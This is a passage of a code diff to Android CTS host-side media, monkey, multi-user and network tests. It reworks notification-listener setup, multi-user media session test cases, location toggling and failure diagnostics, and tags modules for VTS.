diff --git a/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java b/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
index a161ba5..2460672 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
+++ b/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
@@ -17,6 +17,8 @@
 package android.media.app.media_session_test_helper;
 
 import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.app.Service;
 import android.content.Intent;
 import android.media.session.MediaSession;
@@ -41,6 +43,7 @@
     private static final String TAG = "MediaSessionTestHelperService";
 
     private static final int NOTIFICATION_ID = 100;
+    private static final String NOTIFICATION_CHANNEL = TAG;
 
     private MediaSession mMediaSession;
 
@@ -49,7 +52,13 @@
         super.onCreate();
 
         // Build notification UI to make this a foreground service.
-        Notification notification = new Notification.Builder(this)
+        NotificationManager manager =
+                (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
+        NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL,
+                getString(R.string.label), NotificationManager.IMPORTANCE_DEFAULT);
+        manager.createNotificationChannel(notificationChannel);
+
+        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL)
                 .setSmallIcon(android.R.drawable.sym_def_app_icon)
                 .setContentTitle(getString(R.string.label)).build();
         startForeground(NOTIFICATION_ID, notification);
diff --git a/hostsidetests/media/bitstreams/Android.mk b/hostsidetests/media/bitstreams/Android.mk
index 6a0cafe..2133f39 100644
--- a/hostsidetests/media/bitstreams/Android.mk
+++ b/hostsidetests/media/bitstreams/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_MODULE := CtsMediaBitstreamsTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/media/bitstreams/app/Android.mk b/hostsidetests/media/bitstreams/app/Android.mk
index df8e6a4..6070146 100644
--- a/hostsidetests/media/bitstreams/app/Android.mk
+++ b/hostsidetests/media/bitstreams/app/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util media-bitstreams-common-devicesidelib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsMediaBitstreamsDeviceSideTestApp
 
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 7e52737..3e44c4f 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -17,7 +17,6 @@
 package android.media.cts;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log.LogLevel;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.ddmlib.testrunner.TestResult;
@@ -85,64 +84,57 @@
     private Set<String> mExistingPackages;
     private List<Integer> mExistingUsers;
     private HashSet<String> mAvailableFeatures;
-    protected boolean mHasManagedUsersFeature;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         // Ensure that build has been set before test is run.
         assertNotNull(mCtsBuild);
-        mHasManagedUsersFeature = hasDeviceFeature("android.software.managed_users");
+        mExistingPackages = getDevice().getInstalledPackageNames();
 
-        if (mHasManagedUsersFeature) {
-            mExistingPackages = getDevice().getInstalledPackageNames();
+        // Disable the package verifier to avoid the dialog when installing an app
+        mPackageVerifier =
+                getSettings(
+                        SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+                        SETTINGS_PACKAGE_VERIFIER_NAME,
+                        USER_ALL);
+        putSettings(
+                SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+                SETTINGS_PACKAGE_VERIFIER_NAME,
+                "0",
+                USER_ALL);
 
-            // Disable the package verifier to avoid the dialog when installing an app
-            mPackageVerifier =
-                    getSettings(
-                            SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
-                            SETTINGS_PACKAGE_VERIFIER_NAME,
-                            USER_ALL);
-            putSettings(
-                    SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
-                    SETTINGS_PACKAGE_VERIFIER_NAME,
-                    "0",
-                    USER_ALL);
+        mExistingUsers = new ArrayList();
+        int primaryUserId = getDevice().getPrimaryUserId();
+        mExistingUsers.add(primaryUserId);
+        mExistingUsers.add(USER_SYSTEM);
 
-            mExistingUsers = new ArrayList();
-            int primaryUserId = getDevice().getPrimaryUserId();
-            mExistingUsers.add(primaryUserId);
-            mExistingUsers.add(USER_SYSTEM);
-
-            executeShellCommand("am switch-user " + primaryUserId);
-            executeShellCommand("wm dismiss-keyguard");
-        }
+        executeShellCommand("am switch-user " + primaryUserId);
+        executeShellCommand("wm dismiss-keyguard");
     }
 
     @Override
     protected void tearDown() throws Exception {
-        if (mHasManagedUsersFeature) {
-            // Reset the package verifier setting to its original value.
-            putSettings(
-                    SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
-                    SETTINGS_PACKAGE_VERIFIER_NAME,
-                    mPackageVerifier,
-                    USER_ALL);
+        // Reset the package verifier setting to its original value.
+        putSettings(
+                SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+                SETTINGS_PACKAGE_VERIFIER_NAME,
+                mPackageVerifier,
+                USER_ALL);
 
-            // Remove users created during the test.
-            for (int userId : getDevice().listUsers()) {
-                if (!mExistingUsers.contains(userId)) {
-                    removeUser(userId);
-                }
+        // Remove users created during the test.
+        for (int userId : getDevice().listUsers()) {
+            if (!mExistingUsers.contains(userId)) {
+                removeUser(userId);
             }
-            // Remove packages installed during the test.
-            for (String packageName : getDevice().getUninstallablePackageNames()) {
-                if (mExistingPackages.contains(packageName)) {
-                    continue;
-                }
-                CLog.d("Removing leftover package: " + packageName);
-                getDevice().uninstallPackage(packageName);
+        }
+        // Remove packages installed during the test.
+        for (String packageName : getDevice().getUninstallablePackageNames()) {
+            if (mExistingPackages.contains(packageName)) {
+                continue;
             }
+            CLog.d("Removing leftover package: " + packageName);
+            getDevice().uninstallPackage(packageName);
         }
         super.tearDown();
     }
@@ -368,13 +360,6 @@
             }
         }
         boolean result = mAvailableFeatures.contains(requiredFeature);
-        if (!result) {
-            CLog.logAndDisplay(
-                    LogLevel.INFO,
-                    "Device doesn't have required feature "
-                            + requiredFeature
-                            + ". Test won't run.");
-        }
         return result;
     }
 }
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 1067a85..4e3fa16 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -26,13 +26,13 @@
 
 import android.platform.test.annotations.RequiresDevice;
 
+import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 
-import java.util.HashMap;
-import java.util.Map;
-import java.util.StringJoiner;
-import java.util.StringTokenizer;
+import java.util.ArrayList;
+import java.util.List;
+
 
 /**
  * Host-side test for the media session manager that installs and runs device-side tests after the
@@ -55,49 +55,42 @@
     private static final String DEVICE_SIDE_TEST_CLASS =
             "android.media.session.cts.MediaSessionManagerTest";
 
-    private static final String SETTINGS_NOTIFICATION_LISTENER_NAMESPACE = "secure";
-    private static final String SETTINGS_NOTIFICATION_LISTENER_NAME =
-            "enabled_notification_listeners";
+    private final List<Integer> mNotificationListeners = new ArrayList<>();
 
-    // Keep the original notification listener list to clean up.
-    private Map<Integer, String> mNotificationListeners;
+    private boolean mNotificationListenerDisabled;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        mNotificationListeners = new HashMap<>();
+
+        // Ensure that the previously running media session test helper app doesn't exist.
+        getDevice().uninstallPackage(MEDIA_SESSION_TEST_HELPER_PKG);
+        mNotificationListeners.clear();
+        mNotificationListenerDisabled = "true".equals(getDevice().getProperty("ro.config.low_ram"));
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (!mHasManagedUsersFeature) {
-            return;
-        }
-
         // Cleanup
-        for (int userId : mNotificationListeners.keySet()) {
-            String notificationListener = mNotificationListeners.get(userId);
-            putSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
-                    SETTINGS_NOTIFICATION_LISTENER_NAME, notificationListener, userId);
+        for (int userId : mNotificationListeners) {
+            setAllowGetActiveSessionForTest(false, userId);
         }
         super.tearDown();
     }
 
     /**
-     * Tests {@link MediaSessionManager#getActiveSessions} with the multi-users environment.
+     * Tests {@link MediaSessionManager#getActiveSessions} with the primary user.
      */
     @RequiresDevice
-    public void testGetActiveSessions() throws Exception {
-        if (!mHasManagedUsersFeature) {
+    public void testGetActiveSessions_primaryUser() throws Exception {
+        if (mNotificationListenerDisabled) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "NotificationListener is disabled. Test won't run.");
             return;
         }
-
-        // Ensure that the previously running media session test helper app doesn't exist.
-        getDevice().uninstallPackage(MEDIA_SESSION_TEST_HELPER_PKG);
-
         int primaryUserId = getDevice().getPrimaryUserId();
 
-        allowGetActiveSessionForTest(primaryUserId);
+        setAllowGetActiveSessionForTest(true, primaryUserId);
         installAppAsUser(DEVICE_SIDE_TEST_APK, primaryUserId);
         runTest("testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper");
 
@@ -107,32 +100,78 @@
 
         sendControlCommand(primaryUserId, FLAG_SET_MEDIA_SESSION_ACTIVE);
         runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
+    }
 
+    /**
+     * Tests {@link MediaSessionManager#getActiveSessions} with additional users.
+     */
+    @RequiresDevice
+    public void testGetActiveSessions_additionalUser() throws Exception {
         if (!canCreateAdditionalUsers(1)) {
-            CLog.w("Cannot create a new user. Skipping multi-user test cases.");
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+        if (mNotificationListenerDisabled) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "NotificationListener is disabled. Test won't run.");
             return;
         }
 
         // Test if another user can get the session.
         int newUser = createAndStartUser();
         installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
-        allowGetActiveSessionForTest(newUser);
+        setAllowGetActiveSessionForTest(true, newUser);
         runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
         removeUser(newUser);
+    }
 
-        // Test if another managed profile can get the session.
-        // Remove the created user first not to exceed system's user number limit.
-        newUser = createAndStartManagedProfile(primaryUserId);
-        installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
-        allowGetActiveSessionForTest(newUser);
-        runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
-        removeUser(newUser);
+    /**
+     * Tests {@link MediaSessionManager#getActiveSessions} with restricted profiles.
+     */
+    @RequiresDevice
+    public void testGetActiveSessions_restrictedProfiles() throws Exception {
+        if (!canCreateAdditionalUsers(1)) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+        if (mNotificationListenerDisabled) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "NotificationListener is disabled. Test won't run.");
+            return;
+        }
 
         // Test if another restricted profile can get the session.
         // Remove the created user first not to exceed system's user number limit.
-        newUser = createAndStartRestrictedProfile(primaryUserId);
+        int newUser = createAndStartRestrictedProfile(getDevice().getPrimaryUserId());
         installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
-        allowGetActiveSessionForTest(newUser);
+        setAllowGetActiveSessionForTest(true, newUser);
+        runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
+        removeUser(newUser);
+    }
+
+    /**
+     * Tests {@link MediaSessionManager#getActiveSessions} with managed profiles.
+     */
+    @RequiresDevice
+    public void testGetActiveSessions_managedProfiles() throws Exception {
+        if (!hasDeviceFeature("android.software.managed_users")) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Device doesn't support managed profiles. Test won't run.");
+            return;
+        }
+        if (mNotificationListenerDisabled) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "NotificationListener is disabled. Test won't run.");
+            return;
+        }
+
+        // Test if another managed profile can get the session.
+        // Remove the created user first not to exceed system's user number limit.
+        int newUser = createAndStartManagedProfile(getDevice().getPrimaryUserId());
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+        setAllowGetActiveSessionForTest(true, newUser);
         runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
         removeUser(newUser);
     }
@@ -148,43 +187,24 @@
     }
 
     /**
-     * Allows the {@link #DEVICE_SIDE_TEST_CLASS} to call
-     * {@link MediaSessionManager#getActiveSessions} for testing.
+     * Sets to allow or disallow the {@link #DEVICE_SIDE_TEST_CLASS}
+     * to call {@link MediaSessionManager#getActiveSessions} for testing.
      * <p>{@link MediaSessionManager#getActiveSessions} bypasses the permission check if the
-     * caller is the enabled notification listener. This method uses the behavior by making
-     * {@link #DEVICE_SIDE_TEST_CLASS} as the notification listener. So any change in this
-     * should be also applied to the class.
+     * caller is the enabled notification listener. This method uses the behavior by allowing
+     * this class as the notification listener service.
      * <p>Note that the device-side test {@link android.media.cts.MediaSessionManagerTest} already
      * covers the test for failing {@link MediaSessionManager#getActiveSessions} without the
      * permission nor the notification listener.
      */
-    private void allowGetActiveSessionForTest(int userId) throws Exception {
-        final String NOTIFICATION_LISTENER_DELIM = ":";
-        if (mNotificationListeners.get(userId) != null) {
-            // Already enabled.
-            return;
-        }
-        String list = getSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
-                SETTINGS_NOTIFICATION_LISTENER_NAME, userId);
-
+    private void setAllowGetActiveSessionForTest(boolean allow, int userId) throws Exception {
         String notificationListener = DEVICE_SIDE_TEST_PKG + "/" + DEVICE_SIDE_TEST_CLASS;
-        // Ensure that the list doesn't contain notificationListener already.
-        // This can happen if the test is killed while running.
-        StringTokenizer tokenizer = new StringTokenizer(list, NOTIFICATION_LISTENER_DELIM);
-        StringJoiner joiner = new StringJoiner(NOTIFICATION_LISTENER_DELIM);
-        while (tokenizer.hasMoreTokens()) {
-            String token = tokenizer.nextToken();
-            if (!token.isEmpty() && !token.equals(notificationListener)) {
-                joiner.add(token);
-            }
+        String command = "cmd notification "
+                + ((allow) ? "allow_listener " : "disallow_listener ")
+                + notificationListener + " " + userId;
+        executeShellCommand(command);
+        if (allow) {
+            mNotificationListeners.add(userId);
         }
-        list = joiner.toString();
-        // Preserve the original list.
-        mNotificationListeners.put(userId, list);
-        // Allow get active sessions by setting notification listener.
-        joiner.add(notificationListener);
-        putSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
-                SETTINGS_NOTIFICATION_LISTENER_NAME, joiner.toString(), userId);
     }
 
     private void sendControlCommand(int userId, int flag) throws Exception {
diff --git a/hostsidetests/monkey/Android.mk b/hostsidetests/monkey/Android.mk
index 34305e8..052313c 100644
--- a/hostsidetests/monkey/Android.mk
+++ b/hostsidetests/monkey/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := zzz.android.monkey
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
index 56b27f0..868a3bd 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
index 1cf9256..150d0b6 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
index a043b55..9827ca7 100644
--- a/hostsidetests/multiuser/Android.mk
+++ b/hostsidetests/multiuser/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/net/Android.mk b/hostsidetests/net/Android.mk
index 88fbe0c..7270580 100644
--- a/hostsidetests/net/Android.mk
+++ b/hostsidetests/net/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.net.hostsidenetwork
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/net/AndroidTest.xml b/hostsidetests/net/AndroidTest.xml
index ad7f81b..4a2e2e3 100644
--- a/hostsidetests/net/AndroidTest.xml
+++ b/hostsidetests/net/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS net host test cases">
     <option name="config-descriptor:metadata" key="component" value="networking" />
+    <target_preparer class="com.android.cts.net.NetPolicyTestsPreparer" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHostsideNetworkTests.jar" />
         <option name="runtime-hint" value="3m56s" />
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index 5500ec0..f094f3f 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -19,13 +19,10 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_SDK_VERSION := current
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator \
         CtsHostsideNetworkTestsAidl
 
-LOCAL_JAVA_LIBRARIES := android.test.runner
-
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsHostsideNetworkTestsApp
@@ -34,6 +31,6 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/app/AndroidManifest.xml b/hostsidetests/net/app/AndroidManifest.xml
index 0598a3b..7466cb8 100644
--- a/hostsidetests/net/app/AndroidManifest.xml
+++ b/hostsidetests/net/app/AndroidManifest.xml
@@ -21,6 +21,8 @@
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
     <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
index c2dce38..f20f1d1 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
@@ -129,7 +129,7 @@
 
     public void testBackgroundNetworkAccess_enabledButWhitelistedOnNotificationAction()
             throws Exception {
-        if (!isSupported()) return;
+        if (!isSupported() || isLowRamDevice()) return;
 
         setPendingIntentWhitelistDuration(NETWORK_TIMEOUT_MS);
         try {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index f3d5d2c..ce56d25 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -26,13 +26,14 @@
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
+import android.app.ActivityManager;
 import android.app.Instrumentation;
+import android.app.NotificationManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.NetworkInfo;
 import android.net.NetworkInfo.DetailedState;
@@ -42,6 +43,7 @@
 import android.os.Binder;
 import android.os.Bundle;
 import android.os.SystemClock;
+import android.provider.Settings;
 import android.service.notification.NotificationListenerService;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
@@ -116,6 +118,7 @@
     private MyServiceClient mServiceClient;
     private String mDeviceIdleConstantsSetting;
     private boolean mSupported;
+    private boolean mIsLocationOn;
 
     @Override
     protected void setUp() throws Exception {
@@ -130,20 +133,49 @@
         mServiceClient = new MyServiceClient(mContext);
         mServiceClient.bind();
         mDeviceIdleConstantsSetting = "device_idle_constants";
+        mIsLocationOn = isLocationOn();
+        if (!mIsLocationOn) {
+            enableLocation();
+        }
         mSupported = setUpActiveNetworkMeteringState();
 
         Log.i(TAG, "Apps status on " + getName() + ":\n"
                 + "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
                 + "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
+        executeShellCommand("settings get global app_idle_constants");
    }
 
     @Override
     protected void tearDown() throws Exception {
+        if (!mIsLocationOn) {
+            disableLocation();
+        }
         mServiceClient.unbind();
 
         super.tearDown();
     }
 
+    private void enableLocation() throws Exception {
+        Settings.Secure.putInt(mContext.getContentResolver(), Settings.Secure.LOCATION_MODE,
+                Settings.Secure.LOCATION_MODE_SENSORS_ONLY);
+        assertEquals(Settings.Secure.LOCATION_MODE_SENSORS_ONLY,
+                Settings.Secure.getInt(mContext.getContentResolver(),
+                        Settings.Secure.LOCATION_MODE));
+    }
+
+    private void disableLocation() throws Exception {
+        Settings.Secure.putInt(mContext.getContentResolver(), Settings.Secure.LOCATION_MODE,
+                Settings.Secure.LOCATION_MODE_OFF);
+        assertEquals(Settings.Secure.LOCATION_MODE_OFF,
+                Settings.Secure.getInt(mContext.getContentResolver(),
+                        Settings.Secure.LOCATION_MODE));
+    }
+
+    private boolean isLocationOn() throws Exception {
+        return Settings.Secure.getInt(mContext.getContentResolver(),
+                Settings.Secure.LOCATION_MODE) != Settings.Secure.LOCATION_MODE_OFF;
+    }
+
     protected int getUid(String packageName) throws Exception {
         return mContext.getPackageManager().getPackageUid(packageName, 0);
     }
@@ -353,14 +385,47 @@
             Log.w(TAG, "Network status didn't match for expectAvailable=" + expectAvailable
                     + " on attempt #" + i + ": " + error + "\n"
                     + "Sleeping " + timeoutMs + "ms before trying again");
-            SystemClock.sleep(timeoutMs);
+            // No sleep after the last turn
+            if (i < maxTries) {
+                SystemClock.sleep(timeoutMs);
+            }
             // Exponential back-off.
             timeoutMs = Math.min(timeoutMs*2, NETWORK_TIMEOUT_MS);
         }
+        dumpOnFailure();
         fail("Invalid state for expectAvailable=" + expectAvailable + " after " + maxTries
                 + " attempts.\nLast error: " + error);
     }
 
+    private void dumpOnFailure() throws Exception {
+        dumpAllNetworkRules();
+        Log.d(TAG, "Usagestats dump: " + getUsageStatsDump());
+        executeShellCommand("settings get global app_idle_constants");
+    }
+
+    private void dumpAllNetworkRules() throws Exception {
+        final String networkManagementDump = runShellCommand(mInstrumentation,
+                "dumpsys network_management").trim();
+        final String networkPolicyDump = runShellCommand(mInstrumentation,
+                "dumpsys netpolicy").trim();
+        TextUtils.SimpleStringSplitter splitter = new TextUtils.SimpleStringSplitter('\n');
+        splitter.setString(networkManagementDump);
+        String next;
+        Log.d(TAG, ">>> Begin network_management dump");
+        while (splitter.hasNext()) {
+            next = splitter.next();
+            Log.d(TAG, next);
+        }
+        Log.d(TAG, "<<< End network_management dump");
+        splitter.setString(networkPolicyDump);
+        Log.d(TAG, ">>> Begin netpolicy dump");
+        while (splitter.hasNext()) {
+            next = splitter.next();
+            Log.d(TAG, next);
+        }
+        Log.d(TAG, "<<< End netpolicy dump");
+    }
+
     /**
      * Checks whether the network is available as expected.
      *
@@ -412,6 +477,12 @@
         return errors.toString();
     }
 
+    protected boolean isLowRamDevice() {
+        final ActivityManager am = (ActivityManager) mContext.getSystemService(
+            Context.ACTIVITY_SERVICE);
+        return am.isLowRamDevice();
+    }
+
     protected String executeShellCommand(String command) throws Exception {
         final String result = runShellCommand(mInstrumentation, command).trim();
         if (DEBUG) Log.d(TAG, "Command '" + command + "' returned '" + result + "'");
@@ -558,11 +629,15 @@
         NetworkInfo info = null;
         for (int i = 1; i <= maxTries; i++) {
             info = mCm.getActiveNetworkInfo();
-            if (info != null) {
+            if (info == null) {
+                Log.v(TAG, "No active network info on attempt #" + i
+                        + "; sleeping 1s before polling again");
+            } else if (mCm.isActiveNetworkMetered() != expected) {
+                Log.v(TAG, "Wrong metered status for active network " + info + "; expected="
+                        + expected + "; sleeping 1s before polling again");
+            } else {
                 break;
             }
-            Log.v(TAG, "No active network info on attempt #" + i
-                    + "; sleeping 1s before polling again");
             Thread.sleep(SECOND_IN_MS);
         }
         assertNotNull("No active network after " + maxTries + " attempts", info);
@@ -801,16 +876,8 @@
 
     protected void setAppIdle(boolean enabled) throws Exception {
         Log.i(TAG, "Setting app idle to " + enabled);
-        final String beforeStats = getUsageStatsDump();
         executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
-        try {
-            assertAppIdle(enabled); // Sanity check
-        } catch (Throwable e) {
-            final String afterStats = getUsageStatsDump();
-            Log.d(TAG, "UsageStats before:\n" + beforeStats);
-            Log.d(TAG, "UsageStats after:\n" + afterStats);
-            throw e;
-        }
+        assertAppIdle(enabled); // Sanity check
     }
 
     private String getUsageStatsDump() throws Exception {
@@ -825,7 +892,7 @@
                     && !str.contains(TEST_PKG) && !str.contains(TEST_APP2_PKG)) {
                 continue;
             }
-            if (str.contains("config=")) {
+            if (str.trim().startsWith("config=") || str.trim().startsWith("time=")) {
                 continue;
             }
             sb.append(str).append('\n');
@@ -834,7 +901,13 @@
     }
 
     protected void assertAppIdle(boolean enabled) throws Exception {
-        assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
+        try {
+            assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
+        } catch (Throwable e) {
+            Log.d(TAG, "UsageStats dump:\n" + getUsageStatsDump());
+            executeShellCommand("settings get global app_idle_constants");
+            throw e;
+        }
     }
 
     /**
@@ -868,19 +941,12 @@
      * notification actions right after the notification is sent.
      */
     protected void registerNotificationListenerService() throws Exception {
-        final StringBuilder listeners = new StringBuilder(getNotificationListenerServices());
-        if (listeners.length() > 0) {
-            listeners.append(":");
-        }
-        listeners.append(MyNotificationListenerService.getId());
-        executeShellCommand("settings put secure enabled_notification_listeners " + listeners);
-        final String newListeners = getNotificationListenerServices();
-        assertEquals("Failed to set 'enabled_notification_listeners'",
-                listeners.toString(), newListeners);
-    }
-
-    private String getNotificationListenerServices() throws Exception {
-        return executeShellCommand("settings get secure enabled_notification_listeners");
+        executeShellCommand("cmd notification allow_listener "
+                + MyNotificationListenerService.getId());
+        final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+        final ComponentName listenerComponent = MyNotificationListenerService.getComponentName();
+        assertTrue(listenerComponent + " has not been granted access",
+                nm.isNotificationListenerAccessGranted(listenerComponent));
     }
 
     protected void setPendingIntentWhitelistDuration(int durationMs) throws Exception {
@@ -916,10 +982,12 @@
                         // App didn't come to foreground when the activity is started, so try again.
                         assertForegroundNetworkAccess();
                     } else {
+                        dumpOnFailure();
                         fail("Network is not available for app2 (" + mUid + "): " + errors[0]);
                     }
                 }
             } else {
+                dumpOnFailure();
                 fail("Timed out waiting for network availability status from app2 (" + mUid + ")");
             }
         } else {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
index 0893511..0132536 100644
